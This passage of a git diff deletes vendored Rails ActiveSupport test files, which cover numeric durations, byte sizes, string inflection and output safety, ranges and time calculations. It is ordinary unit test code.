-    assert_equal @dtnow.advance(:days => 1).advance(:months => 2), @dtnow + 1.day + 2.months    
-  end
-  
-  def test_duration_after_convertion_is_no_longer_accurate
-    assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
-    assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
-    assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
-    assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)    
-  end
-  
-  def test_add_one_year_to_leap_day
-    assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10) + 1.year
-    assert_equal DateTime.civil(2005,2,28,15,15,10), DateTime.civil(2004,2,29,15,15,10) + 1.year
-  end
-end
-
-class NumericExtDateTest < Test::Unit::TestCase
-  def setup
-    @today = Date.today
-  end
-
-  def test_date_plus_duration
-    assert_equal @today + 1, @today + 1.day
-    assert_equal @today >> 1, @today + 1.month
-    assert_equal @today.to_time.since(1), @today + 1.second
-    assert_equal @today.to_time.since(60), @today + 1.minute
-    assert_equal @today.to_time.since(60*60), @today + 1.hour
-  end
-  
-  def test_chaining_duration_operations
-    assert_equal @today.advance(:days => 2).advance(:months => -3), @today + 2.days - 3.months
-    assert_equal @today.advance(:days => 1).advance(:months => 2), @today + 1.day + 2.months
-  end
-  
-  def test_add_one_year_to_leap_day
-    assert_equal Date.new(2005,2,28), Date.new(2004,2,29) + 1.year
-  end
-end
-
-class NumericExtSizeTest < Test::Unit::TestCase
-  def test_unit_in_terms_of_another
-    relationships = {
-        1024.bytes     =>   1.kilobyte,
-        1024.kilobytes =>   1.megabyte,
-      3584.0.kilobytes => 3.5.megabytes,
-      3584.0.megabytes => 3.5.gigabytes,
-      1.kilobyte ** 4  =>   1.terabyte,
-      1024.kilobytes + 2.megabytes =>   3.megabytes,
-                   2.gigabytes / 4 => 512.megabytes,
-      256.megabytes * 20 + 5.gigabytes => 10.gigabytes,
-      1.kilobyte ** 5 => 1.petabyte,
-      1.kilobyte ** 6 => 1.exabyte
-    }
-
-    relationships.each do |left, right|
-      assert_equal right, left
-    end
-  end
-  
-  def test_units_as_bytes_independently
-    assert_equal 3145728, 3.megabytes
-    assert_equal 3145728, 3.megabyte
-    assert_equal 3072, 3.kilobytes
-    assert_equal 3072, 3.kilobyte
-    assert_equal 3221225472, 3.gigabytes
-    assert_equal 3221225472, 3.gigabyte
-    assert_equal 3298534883328, 3.terabytes
-    assert_equal 3298534883328, 3.terabyte
-    assert_equal 3377699720527872, 3.petabytes
-    assert_equal 3377699720527872, 3.petabyte
-    assert_equal 3458764513820540928, 3.exabytes
-    assert_equal 3458764513820540928, 3.exabyte
-  end
-end
-
-class NumericExtConversionsTest < Test::Unit::TestCase
-  
-  def test_to_utc_offset_s_with_colon
-    assert_equal "-06:00", -21_600.to_utc_offset_s
-    assert_equal "+00:00", 0.to_utc_offset_s
-    assert_equal "+05:00", 18_000.to_utc_offset_s
-  end
-  
-  def test_to_utc_offset_s_without_colon
-    assert_equal "-0600", -21_600.to_utc_offset_s(false)
-    assert_equal "+0000", 0.to_utc_offset_s(false)
-    assert_equal "+0500", 18_000.to_utc_offset_s(false)
-  end
-  
-  def test_to_utc_offset_s_with_negative_offset
-    assert_equal "-01:00", -3_600.to_utc_offset_s
-    assert_equal "-00:59", -3_599.to_utc_offset_s
-    assert_equal "-05:30", -19_800.to_utc_offset_s
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/object_and_class_ext_test.rb b/vendor/rails/activesupport/test/core_ext/object_and_class_ext_test.rb
deleted file mode 100644
index f26c1261..00000000
--- a/vendor/rails/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ /dev/null
@@ -1,294 +0,0 @@
-require 'abstract_unit'
-
-class ClassA; end
-class ClassB < ClassA; end
-class ClassC < ClassB; end
-class ClassD < ClassA; end
-
-class ClassI; end
-class ClassJ < ClassI; end
-
-class ClassK
-end
-module Nested
-  class << self
-    def on_const_missing(&callback)
-      @on_const_missing = callback
-    end
-    private
-      def const_missing(mod_id)
-        @on_const_missing[mod_id] if @on_const_missing
-        super
-      end
-  end
-  class ClassL < ClassK
-  end
-end
-
-module Bar
-  def bar; end
-end
-
-module Baz
-  def baz; end
-end
-
-class Foo
-  include Bar
-end
-
-class ClassExtTest < Test::Unit::TestCase
-  def test_methods
-    assert defined?(ClassB)
-    assert defined?(ClassC)
-    assert defined?(ClassD)
-
-    ClassA.remove_subclasses
-
-    assert !defined?(ClassB)
-    assert !defined?(ClassC)
-    assert !defined?(ClassD)
-  end
-
-  def test_subclasses_of
-    cj = ClassJ
-    assert_equal [ClassJ], Object.subclasses_of(ClassI)
-    ClassI.remove_subclasses
-    assert_equal [], Object.subclasses_of(ClassI)
-  ensure
-    Object.const_set :ClassJ, cj
-  end
-
-  def test_subclasses_of_should_find_nested_classes
-    assert Object.subclasses_of(ClassK).include?(Nested::ClassL)
-  end
-
-  def test_subclasses_of_should_not_return_removed_classes
-    # First create the removed class
-    old_class = Nested.class_eval { remove_const :ClassL }
-    new_class = Class.new(ClassK)
-    Nested.const_set :ClassL, new_class
-    assert_equal "Nested::ClassL", new_class.name # Sanity check
-
-    subclasses = Object.subclasses_of(ClassK)
-    assert subclasses.include?(new_class)
-    assert ! subclasses.include?(old_class)
-  ensure
-    Nested.const_set :ClassL, old_class unless defined?(Nested::ClassL)
-  end
-  
-  def test_subclasses_of_should_not_trigger_const_missing
-    const_missing = false
-    Nested.on_const_missing { const_missing = true }
-    
-    subclasses = Object.subclasses_of ClassK
-    assert !const_missing
-    assert_equal [ Nested::ClassL ], subclasses
-    
-    removed = Nested.class_eval { remove_const :ClassL }  # keep it in memory
-    subclasses = Object.subclasses_of ClassK
-    assert !const_missing
-    assert subclasses.empty?
-  ensure
-    Nested.const_set :ClassL, removed unless defined?(Nested::ClassL)
-  end
-  
-  def test_subclasses_of_with_multiple_roots
-    classes = Object.subclasses_of(ClassI, ClassK)
-    assert_equal %w(ClassJ Nested::ClassL), classes.collect(&:to_s).sort
-  end
-
-  def test_subclasses_of_doesnt_find_anonymous_classes
-    assert_equal [], Object.subclasses_of(Foo)
-    bar = Class.new(Foo)
-    assert_nothing_raised do
-      assert_equal [bar], Object.subclasses_of(Foo)
-    end
-  end
-end
-
-class ObjectTests < ActiveSupport::TestCase
-  def test_suppress_re_raises
-    assert_raise(LoadError) { suppress(ArgumentError) {raise LoadError} }
-  end
-  def test_suppress_supresses
-    suppress(ArgumentError) { raise ArgumentError }
-    suppress(LoadError) { raise LoadError }
-    suppress(LoadError, ArgumentError) { raise LoadError }
-    suppress(LoadError, ArgumentError) { raise ArgumentError }
-  end
-
-  def test_extended_by
-    foo = Foo.new
-    assert foo.extended_by.include?(Bar)
-    foo.extend(Baz)
-    assert(([Bar, Baz] - foo.extended_by).empty?, "Expected Bar, Baz in #{foo.extended_by.inspect}")
-  end
-
-  def test_extend_with_included_modules_from
-    foo, object = Foo.new, Object.new
-    assert !object.respond_to?(:bar)
-    assert !object.respond_to?(:baz)
-
-    object.extend_with_included_modules_from(foo)
-    assert object.respond_to?(:bar)
-    assert !object.respond_to?(:baz)
-
-    foo.extend(Baz)
-    object.extend_with_included_modules_from(foo)
-    assert object.respond_to?(:bar)
-    assert object.respond_to?(:baz)
-  end
-
-  class DuckTime
-    def acts_like_time?
-      true
-    end
-  end
-
-  def test_duck_typing
-    object = Object.new
-    time   = Time.now
-    date   = Date.today
-    dt     = DateTime.new
-    duck   = DuckTime.new
-
-    assert !object.acts_like?(:time)
-    assert !object.acts_like?(:date)
-
-    assert time.acts_like?(:time)
-    assert !time.acts_like?(:date)
-
-    assert !date.acts_like?(:time)
-    assert date.acts_like?(:date)
-
-    assert dt.acts_like?(:time)
-    assert dt.acts_like?(:date)
-
-    assert duck.acts_like?(:time)
-    assert !duck.acts_like?(:date)
-  end
-
-  def test_metaclass
-    string = "Hello"
-    string.singleton_class.instance_eval do
-      define_method(:foo) { "bar" }
-    end
-    assert_equal "bar", string.foo
-  end
-
-  def test_singleton_class
-    o = Object.new
-    assert_equal class << o; self end, o.singleton_class
-  end
-
-  def test_metaclass_deprecated
-    o = Object.new
-    assert_deprecated(/use singleton_class instead/) do
-      assert_equal o.singleton_class, o.metaclass
-    end
-   end
-end
-
-class ObjectInstanceVariableTest < Test::Unit::TestCase
-  def setup
-    @source, @dest = Object.new, Object.new
-    @source.instance_variable_set(:@bar, 'bar')
-    @source.instance_variable_set(:@baz, 'baz')
-  end
-
-  def test_instance_variable_names
-    assert_equal %w(@bar @baz), @source.instance_variable_names.sort
-  end
-
-  def test_instance_variable_defined
-    assert @source.instance_variable_defined?('@bar')
-    assert @source.instance_variable_defined?(:@bar)
-    assert !@source.instance_variable_defined?(:@foo)
-    assert !@source.instance_variable_defined?('@foo')
-  end
-
-  def test_copy_instance_variables_from_without_explicit_excludes
-    assert_equal [], @dest.instance_variables
-    @dest.copy_instance_variables_from(@source)
-
-    assert_equal %w(@bar @baz), @dest.instance_variables.sort.map(&:to_s)
-    %w(@bar @baz).each do |name|
-      assert_equal @source.instance_variable_get(name).object_id,
-                   @dest.instance_variable_get(name).object_id
-    end
-  end
-
-  def test_copy_instance_variables_from_with_explicit_excludes
-    @dest.copy_instance_variables_from(@source, ['@baz'])
-    assert !@dest.instance_variable_defined?('@baz')
-    assert_equal 'bar', @dest.instance_variable_get('@bar')
-  end
-
-  def test_copy_instance_variables_automatically_excludes_protected_instance_variables
-    @source.instance_variable_set(:@quux, 'quux')
-    class << @source
-      def protected_instance_variables
-        ['@bar', :@quux]
-      end
-    end
-
-    @dest.copy_instance_variables_from(@source)
-    assert !@dest.instance_variable_defined?('@bar')
-    assert !@dest.instance_variable_defined?('@quux')
-    assert_equal 'baz', @dest.instance_variable_get('@baz')
-  end
-
-  def test_instance_values
-    object = Object.new
-    object.instance_variable_set :@a, 1
-    object.instance_variable_set :@b, 2
-    assert_equal({'a' => 1, 'b' => 2}, object.instance_values)
-  end
-
-  def test_instance_exec_passes_arguments_to_block
-    assert_equal %w(hello goodbye), 'hello'.instance_exec('goodbye') { |v| [self, v] }
-  end
-
-  def test_instance_exec_with_frozen_obj
-    assert_equal %w(olleh goodbye), 'hello'.freeze.instance_exec('goodbye') { |v| [reverse, v] }
-  end
-
-  def test_instance_exec_nested
-    assert_equal %w(goodbye olleh bar), 'hello'.instance_exec('goodbye') { |arg|
-      [arg] + instance_exec('bar') { |v| [reverse, v] } }
-  end
-end
-
-class ObjectTryTest < Test::Unit::TestCase
-  def setup
-    @string = "Hello"
-  end
-
-  def test_nonexisting_method
-    method = :undefined_method
-    assert !@string.respond_to?(method)
-    assert_raise(NoMethodError) { @string.try(method) }
-  end
-  
-  def test_valid_method
-    assert_equal 5, @string.try(:size)
-  end
-
-  def test_argument_forwarding
-    assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
-  end
-
-  def test_block_forwarding
-    assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
-  end
-
-  def test_nil_to_type
-    assert_nil nil.try(:to_s)
-    assert_nil nil.try(:to_i)
-  end
-
-  def test_false_try
-    assert_equal 'false', false.try(:to_s)
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/object_ext_test.rb b/vendor/rails/activesupport/test/core_ext/object_ext_test.rb
deleted file mode 100644
index a413d331..00000000
--- a/vendor/rails/activesupport/test/core_ext/object_ext_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'abstract_unit'
-
-class ObjectExtTest < Test::Unit::TestCase
-  def test_tap_yields_and_returns_self
-    foo = Object.new
-    assert_equal foo, foo.tap { |x| assert_equal foo, x; :bar }
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/pathname_test.rb b/vendor/rails/activesupport/test/core_ext/pathname_test.rb
deleted file mode 100644
index d17e8bb2..00000000
--- a/vendor/rails/activesupport/test/core_ext/pathname_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'abstract_unit'
-
-class TestPathname < Test::Unit::TestCase
-  def test_clean_within
-    assert_equal "Hi", Pathname.clean_within("Hi")
-    assert_equal "Hi", Pathname.clean_within("Hi/a/b/../..")
-    assert_equal "Hello\nWorld", Pathname.clean_within("Hello/a/b/../..\na/b/../../World/c/..")
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/proc_test.rb b/vendor/rails/activesupport/test/core_ext/proc_test.rb
deleted file mode 100644
index 29f85371..00000000
--- a/vendor/rails/activesupport/test/core_ext/proc_test.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'abstract_unit'
-
-class ProcTests < Test::Unit::TestCase
-  def test_bind_returns_method_with_changed_self
-    block = Proc.new { self }
-    assert_equal self, block.call
-    bound_block = block.bind("hello")
-    assert_not_equal block, bound_block
-    assert_equal "hello", bound_block.call
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/range_ext_test.rb b/vendor/rails/activesupport/test/core_ext/range_ext_test.rb
deleted file mode 100644
index 38253d4d..00000000
--- a/vendor/rails/activesupport/test/core_ext/range_ext_test.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require 'abstract_unit'
-
-class RangeTest < Test::Unit::TestCase
-  def test_to_s_from_dates
-    date_range = Date.new(2005, 12, 10)..Date.new(2005, 12, 12)
-    assert_equal "BETWEEN '2005-12-10' AND '2005-12-12'", date_range.to_s(:db)
-  end
-
-  def test_to_s_from_times
-    date_range = Time.utc(2005, 12, 10, 15, 30)..Time.utc(2005, 12, 10, 17, 30)
-    assert_equal "BETWEEN '2005-12-10 15:30:00' AND '2005-12-10 17:30:00'", date_range.to_s(:db)
-  end
-
-  def test_overlaps_last_inclusive
-    assert((1..5).overlaps?(5..10))
-  end
-
-  def test_overlaps_last_exclusive
-    assert !(1...5).overlaps?(5..10)
-  end
-
-  def test_overlaps_first_inclusive
-    assert((5..10).overlaps?(1..5))
-  end
-
-  def test_overlaps_first_exclusive
-    assert !(5..10).overlaps?(1...5)
-  end
-
-  def test_should_include_identical_inclusive
-    assert((1..10).include?(1..10))
-  end
-
-  def test_should_include_identical_exclusive
-    assert((1...10).include?(1...10))
-  end
-
-  def test_should_include_other_with_exlusive_end
-    assert((1..10).include?(1...10))
-  end
-
-  def test_exclusive_end_should_not_include_identical_with_inclusive_end
-    assert !(1...10).include?(1..10)
-  end
-
-  def test_should_not_include_overlapping_first
-    assert !(2..8).include?(1..3)
-  end
-
-  def test_should_not_include_overlapping_last
-    assert !(2..8).include?(5..9)
-  end
-
-  def test_blockless_step
-    assert_equal [1,3,5,7,9], (1..10).step(2)
-  end
-
-  def test_original_step
-    array = []
-    (1..10).step(2) {|i| array << i }
-    assert_equal [1,3,5,7,9], array
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/string_ext_test.rb b/vendor/rails/activesupport/test/core_ext/string_ext_test.rb
deleted file mode 100644
index a62f84d2..00000000
--- a/vendor/rails/activesupport/test/core_ext/string_ext_test.rb
+++ /dev/null
@@ -1,409 +0,0 @@
-# encoding: utf-8
-require 'date'
-require 'abstract_unit'
-require 'inflector_test_cases'
-require 'active_support/core_ext/string/output_safety'
-
-class StringInflectionsTest < Test::Unit::TestCase
-  include InflectorTestCases
-
-  def test_erb_escape
-    string = [192, 60].pack('CC')
-    expected = 192.chr + "&lt;"
-    assert_equal expected, ERB::Util.html_escape(string)
-  end
-
-  def test_pluralize
-    SingularToPlural.each do |singular, plural|
-      assert_equal(plural, singular.pluralize)
-    end
-
-    assert_equal("plurals", "plurals".pluralize)
-  end
-
-  def test_singularize
-    SingularToPlural.each do |singular, plural|
-      assert_equal(singular, plural.singularize)
-    end
-  end
-
-  def test_titleize
-    MixtureToTitleCase.each do |before, titleized|
-      assert_equal(titleized, before.titleize)
-    end
-  end
-
-  def test_camelize
-    CamelToUnderscore.each do |camel, underscore|
-      assert_equal(camel, underscore.camelize)
-    end
-  end
-
-  def test_camelize_lower
-    assert_equal('capital', 'Capital'.camelize(:lower))
-  end
-
-  def test_underscore
-    CamelToUnderscore.each do |camel, underscore|
-      assert_equal(underscore, camel.underscore)
-    end
-
-    assert_equal "html_tidy", "HTMLTidy".underscore
-    assert_equal "html_tidy_generator", "HTMLTidyGenerator".underscore
-  end
-
-  def test_underscore_to_lower_camel
-    UnderscoreToLowerCamel.each do |underscored, lower_camel|
-      assert_equal(lower_camel, underscored.camelize(:lower))
-    end
-  end
-
-  def test_demodulize
-    assert_equal "Account", "MyApplication::Billing::Account".demodulize
-  end
-
-  def test_foreign_key
-    ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
-      assert_equal(foreign_key, klass.foreign_key)
-    end
-
-    ClassNameToForeignKeyWithoutUnderscore.each do |klass, foreign_key|
-      assert_equal(foreign_key, klass.foreign_key(false))
-    end
-  end
-
-  def test_tableize
-    ClassNameToTableName.each do |class_name, table_name|
-      assert_equal(table_name, class_name.tableize)
-    end
-  end
-
-  def test_classify
-    ClassNameToTableName.each do |class_name, table_name|
-      assert_equal(class_name, table_name.classify)
-    end
-  end
-
-  def test_string_parameterized_normal
-    StringToParameterized.each do |normal, slugged|
-      assert_equal(normal.parameterize, slugged)
-    end
-  end
-
-  def test_string_parameterized_no_separator
-    StringToParameterizeWithNoSeparator.each do |normal, slugged|
-      assert_equal(normal.parameterize(''), slugged)
-    end
-  end
-
-  def test_string_parameterized_underscore
-    StringToParameterizeWithUnderscore.each do |normal, slugged|
-      assert_equal(normal.parameterize('_'), slugged)
-    end
-  end
-
-  def test_humanize
-    UnderscoreToHuman.each do |underscore, human|
-      assert_equal(human, underscore.humanize)
-    end
-  end
-
-  def test_ord
-    assert_equal 97, 'a'.ord
-    assert_equal 97, 'abc'.ord
-  end
-
-  def test_string_to_time
-    assert_equal Time.utc(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time
-    assert_equal Time.local(2005, 2, 27, 23, 50), "2005-02-27 23:50".to_time(:local)
-    assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time
-    assert_equal Time.local_time(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_time(:local)
-  end
-  
-  def test_string_to_datetime
-    assert_equal DateTime.civil(2039, 2, 27, 23, 50), "2039-02-27 23:50".to_datetime
-    assert_equal 0, "2039-02-27 23:50".to_datetime.offset # use UTC offset
-    assert_equal ::Date::ITALY, "2039-02-27 23:50".to_datetime.start # use Ruby's default start value
-  end
-  
-  def test_string_to_date
-    assert_equal Date.new(2005, 2, 27), "2005-02-27".to_date
-  end
-
-  def test_access
-    s = "hello"
-    assert_equal "h", s.at(0)
-
-    assert_equal "llo", s.from(2)
-    assert_equal "hel", s.to(2)
-
-    assert_equal "h", s.first
-    assert_equal "he", s.first(2)
-    assert_equal "", s.first(0)
-
-    assert_equal "o", s.last
-    assert_equal "llo", s.last(3)
-    assert_equal "hello", s.last(10)
-    assert_equal "", s.last(0)
-
-    assert_equal 'x', 'x'.first
-    assert_equal 'x', 'x'.first(4)
-
-    assert_equal 'x', 'x'.last
-    assert_equal 'x', 'x'.last(4)
-  end
-
-  def test_access_returns_a_real_string
-    hash = {}
-    hash["h"] = true
-    hash["hello123".at(0)] = true
-    assert_equal %w(h), hash.keys
-
-    hash = {}
-    hash["llo"] = true
-    hash["hello".from(2)] = true
-    assert_equal %w(llo), hash.keys
-
-    hash = {}
-    hash["hel"] = true
-    hash["hello".to(2)] = true
-    assert_equal %w(hel), hash.keys
-
-    hash = {}
-    hash["hello"] = true
-    hash["123hello".last(5)] = true
-    assert_equal %w(hello), hash.keys
-
-    hash = {}
-    hash["hello"] = true
-    hash["hello123".first(5)] = true
-    assert_equal %w(hello), hash.keys
-  end
-
-  def test_starts_ends_with_alias
-    s = "hello"
-    assert s.starts_with?('h')
-    assert s.starts_with?('hel')
-    assert !s.starts_with?(:hel)
-    assert !s.starts_with?('el')
-
-    assert s.start_with?('h')
-    assert s.start_with?('hel')
-    assert !s.start_with?('el')
-
-    assert s.ends_with?('o')
-    assert s.ends_with?('lo')
-    assert !s.ends_with?(:lo)
-    assert !s.ends_with?('el')
-
-    assert s.end_with?('o')
-    assert s.end_with?('lo')
-    assert !s.end_with?('el')
-  end
-
-  def test_string_squish
-    original = %{ A string with tabs(\t\t), newlines(\n\n), and
-                  many spaces(  ). }
-
-    expected = "A string with tabs( ), newlines( ), and many spaces( )."
-
-    # Make sure squish returns what we expect:
-    assert_equal original.squish,  expected
-    # But doesn't modify the original string:
-    assert_not_equal original, expected
-
-    # Make sure squish! returns what we expect:
-    assert_equal original.squish!, expected
-    # And changes the original string:
-    assert_equal original, expected
-  end
-
-  if RUBY_VERSION < '1.9'
-    def test_each_char_with_utf8_string_when_kcode_is_utf8
-      with_kcode('UTF8') do
-        '€2.99'.each_char do |char|
-          assert_not_equal 1, char.length
-          break
-        end
-      end
-    end
-  end
-end
-
-class StringBehaviourTest < Test::Unit::TestCase
-  def test_acts_like_string
-    assert 'Bambi'.acts_like_string?
-  end
-end
-
-class CoreExtStringMultibyteTest < ActiveSupport::TestCase
-  UNICODE_STRING = 'こにちわ'
-  ASCII_STRING = 'ohayo'
-  BYTE_STRING = "\270\236\010\210\245"
-
-  def test_core_ext_adds_mb_chars
-    assert UNICODE_STRING.respond_to?(:mb_chars)
-  end
-
-  def test_string_should_recognize_utf8_strings
-    assert UNICODE_STRING.is_utf8?
-    assert ASCII_STRING.is_utf8?
-    assert !BYTE_STRING.is_utf8?
-  end
-
-  if RUBY_VERSION < '1.8.7'
-    def test_core_ext_adds_chars
-      assert UNICODE_STRING.respond_to?(:chars)
-    end
-
-    def test_chars_warns_about_deprecation
-      assert_deprecated("String#chars") do
-        ''.chars
-      end
-    end
-  end
-
-  if RUBY_VERSION < '1.9'
-    def test_mb_chars_returns_self_when_kcode_not_set
-      with_kcode('none') do
-        assert UNICODE_STRING.mb_chars.kind_of?(String)
-      end
-    end
-
-    def test_mb_chars_returns_an_instance_of_the_chars_proxy_when_kcode_utf8
-      with_kcode('UTF8') do
-        assert UNICODE_STRING.mb_chars.kind_of?(ActiveSupport::Multibyte.proxy_class)
-      end
-    end
-  end
-
-  if RUBY_VERSION >= '1.9'
-    def test_mb_chars_returns_string
-      assert UNICODE_STRING.mb_chars.kind_of?(String)
-    end
-  end
-end
-
-class StringBytesizeTest < Test::Unit::TestCase
-  def test_bytesize
-    assert_respond_to 'foo', :bytesize
-    assert_equal 3, 'foo'.bytesize
-  end
-end
-
-class OutputSafetyTest < ActiveSupport::TestCase
-  def setup
-    @string = "hello"
-  end
-
-  test "A string is unsafe by default" do
-    assert !@string.html_safe?
-  end
-
-  test "Marking a string html_safe! doesn't work unless rails_xss is installed" do
-    assert_raise(NoMethodError) { @string.html_safe! }
-  end
-
-  test "A string can be marked safe" do
-    string = @string.html_safe
-    assert string.html_safe?
-  end
-
-  test "Marking a string safe returns the string" do
-    assert_equal @string, @string.html_safe
-  end
-
-  test "A fixnum is safe by default" do
-    assert 5.html_safe?
-  end
-
-  test "An object is unsafe by default" do
-    assert !Object.new.html_safe?
-  end
-
-  test "Adding a safe string to another safe string returns a safe string" do
-    @other_string = "other".html_safe
-    string = @string.html_safe
-    @combination = @other_string + string
-
-    assert_equal "otherhello", @combination
-    assert @combination.html_safe?
-  end
-
-  test "Adding an unsafe string to a safe string doesn't escape it without rails_xss but returns a safe string" do
-    @other_string = "other".html_safe
-    @combination = @other_string + "<foo>"
-    @other_combination = @string + "<foo>"
-
-    assert_equal "other<foo>", @combination
-    assert_equal "hello<foo>", @other_combination
-
-    assert @combination.html_safe?
-    assert !@other_combination.html_safe?
-  end
-
-  test "Concatting safe onto unsafe yields unsafe" do
-    @other_string = "other"
-    string = @string.html_safe
-
-    @other_string.concat(string)
-    assert !@other_string.html_safe?
-  end
-
-  test "Concatting unsafe onto safe yields safe by not escaped without rails_xss" do
-    @other_string = "other".html_safe
-    string = @other_string.concat("<foo>")
-    assert_equal "other<foo>", string
-    assert string.html_safe?
-  end
-
-  test "Concatting safe onto safe yields safe" do
-    @other_string = "other".html_safe
-    string = @string.html_safe
-
-    @other_string.concat(string)
-    assert @other_string.html_safe?
-  end
-
-  test "Concatting safe onto unsafe with << yields unsafe" do
-    @other_string = "other"
-    string = @string.html_safe
-
-    @other_string << string
-    assert !@other_string.html_safe?
-  end
-
-  test "Concatting unsafe onto safe with << yields safe but not escaped without rails_xss" do
-    @other_string = "other".html_safe
-    string = @other_string << "<foo>"
-    assert_equal "other<foo>", string
-    assert string.html_safe?
-  end
-
-  test "Concatting safe onto safe with << yields safe" do
-    @other_string = "other".html_safe
-    @string.html_safe
-
-    @other_string << @string
-    assert @other_string.html_safe?
-  end
-
-  test "Concatting a fixnum to safe always yields safe" do
-    string = @string.html_safe
-    string = string.concat(13)
-    assert_equal "hello".concat(13), string
-    assert string.html_safe?
-  end
-
-  test 'emits normal string yaml' do
-    assert_equal 'foo'.to_yaml, 'foo'.html_safe.to_yaml(:foo => 1)
-  end
-
-  test 'yaml output using +' do
-    assert_equal "--- foobar\n", ('foo' + 'bar').to_yaml
-  end
-
-  test 'yaml output using <<' do
-    assert_equal "--- foobar\n", ('foo' << 'bar').to_yaml
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/symbol_test.rb b/vendor/rails/activesupport/test/core_ext/symbol_test.rb
deleted file mode 100644
index 1eaccb99..00000000
--- a/vendor/rails/activesupport/test/core_ext/symbol_test.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-require 'abstract_unit'
-
-class SymbolTests < Test::Unit::TestCase
-  def test_to_proc
-    assert_equal %w(one two three), [:one, :two, :three].map(&:to_s)
-    assert_equal(%w(one two three),
-      {1 => "one", 2 => "two", 3 => "three"}.sort_by(&:first).map(&:last))
-  end
-end
diff --git a/vendor/rails/activesupport/test/core_ext/time_ext_test.rb b/vendor/rails/activesupport/test/core_ext/time_ext_test.rb
deleted file mode 100644
index d24e89b0..00000000
--- a/vendor/rails/activesupport/test/core_ext/time_ext_test.rb
+++ /dev/null
@@ -1,771 +0,0 @@
-require 'abstract_unit'
-
-class TimeExtCalculationsTest < ActiveSupport::TestCase
-  def test_seconds_since_midnight
-    assert_equal 1,Time.local(2005,1,1,0,0,1).seconds_since_midnight
-    assert_equal 60,Time.local(2005,1,1,0,1,0).seconds_since_midnight
-    assert_equal 3660,Time.local(2005,1,1,1,1,0).seconds_since_midnight
-    assert_equal 86399,Time.local(2005,1,1,23,59,59).seconds_since_midnight
-    assert_equal 60.00001,Time.local(2005,1,1,0,1,0,10).seconds_since_midnight
-  end
-
-  def test_seconds_since_midnight_at_daylight_savings_time_start
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 April 3rd 2:00am ST => April 3rd 3:00am DT
-      assert_equal 2*3600-1, Time.local(2005,4,3,1,59,59).seconds_since_midnight, 'just before DST start'
-      assert_equal 2*3600+1, Time.local(2005,4,3,3, 0, 1).seconds_since_midnight, 'just after DST start'
-    end
-
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 October 1st 2:00am ST => October 1st 3:00am DT
-      assert_equal 2*3600-1, Time.local(2006,10,1,1,59,59).seconds_since_midnight, 'just before DST start'
-      assert_equal 2*3600+1, Time.local(2006,10,1,3, 0, 1).seconds_since_midnight, 'just after DST start'
-    end
-  end
-
-  def test_seconds_since_midnight_at_daylight_savings_time_end
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 October 30th 2:00am DT => October 30th 1:00am ST
-      # avoid setting a time between 1:00 and 2:00 since that requires specifying whether DST is active
-      assert_equal 1*3600-1, Time.local(2005,10,30,0,59,59).seconds_since_midnight, 'just before DST end'
-      assert_equal 3*3600+1, Time.local(2005,10,30,2, 0, 1).seconds_since_midnight, 'just after DST end'
-
-      # now set a time between 1:00 and 2:00 by specifying whether DST is active
-      # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
-      assert_equal 1*3600+30*60, Time.local(0,30,1,30,10,2005,0,0,true,ENV['TZ']).seconds_since_midnight, 'before DST end'
-      assert_equal 2*3600+30*60, Time.local(0,30,1,30,10,2005,0,0,false,ENV['TZ']).seconds_since_midnight, 'after DST end'
-    end
-
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 March 19th 3:00am DT => March 19th 2:00am ST
-      # avoid setting a time between 2:00 and 3:00 since that requires specifying whether DST is active
-      assert_equal 2*3600-1, Time.local(2006,3,19,1,59,59).seconds_since_midnight, 'just before DST end'
-      assert_equal 4*3600+1, Time.local(2006,3,19,3, 0, 1).seconds_since_midnight, 'just after DST end'
-
-      # now set a time between 2:00 and 3:00 by specifying whether DST is active
-      # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
-      assert_equal 2*3600+30*60, Time.local(0,30,2,19,3,2006,0,0,true, ENV['TZ']).seconds_since_midnight, 'before DST end'
-      assert_equal 3*3600+30*60, Time.local(0,30,2,19,3,2006,0,0,false,ENV['TZ']).seconds_since_midnight, 'after DST end'
-    end
-  end
-
-  def test_beginning_of_week
-    assert_equal Time.local(2005,1,31), Time.local(2005,2,4,10,10,10).beginning_of_week
-    assert_equal Time.local(2005,11,28), Time.local(2005,11,28,0,0,0).beginning_of_week #monday
-    assert_equal Time.local(2005,11,28), Time.local(2005,11,29,0,0,0).beginning_of_week #tuesday
-    assert_equal Time.local(2005,11,28), Time.local(2005,11,30,0,0,0).beginning_of_week #wednesday
-    assert_equal Time.local(2005,11,28), Time.local(2005,12,01,0,0,0).beginning_of_week #thursday
-    assert_equal Time.local(2005,11,28), Time.local(2005,12,02,0,0,0).beginning_of_week #friday
-    assert_equal Time.local(2005,11,28), Time.local(2005,12,03,0,0,0).beginning_of_week #saturday
-    assert_equal Time.local(2005,11,28), Time.local(2005,12,04,0,0,0).beginning_of_week #sunday
-  end
-
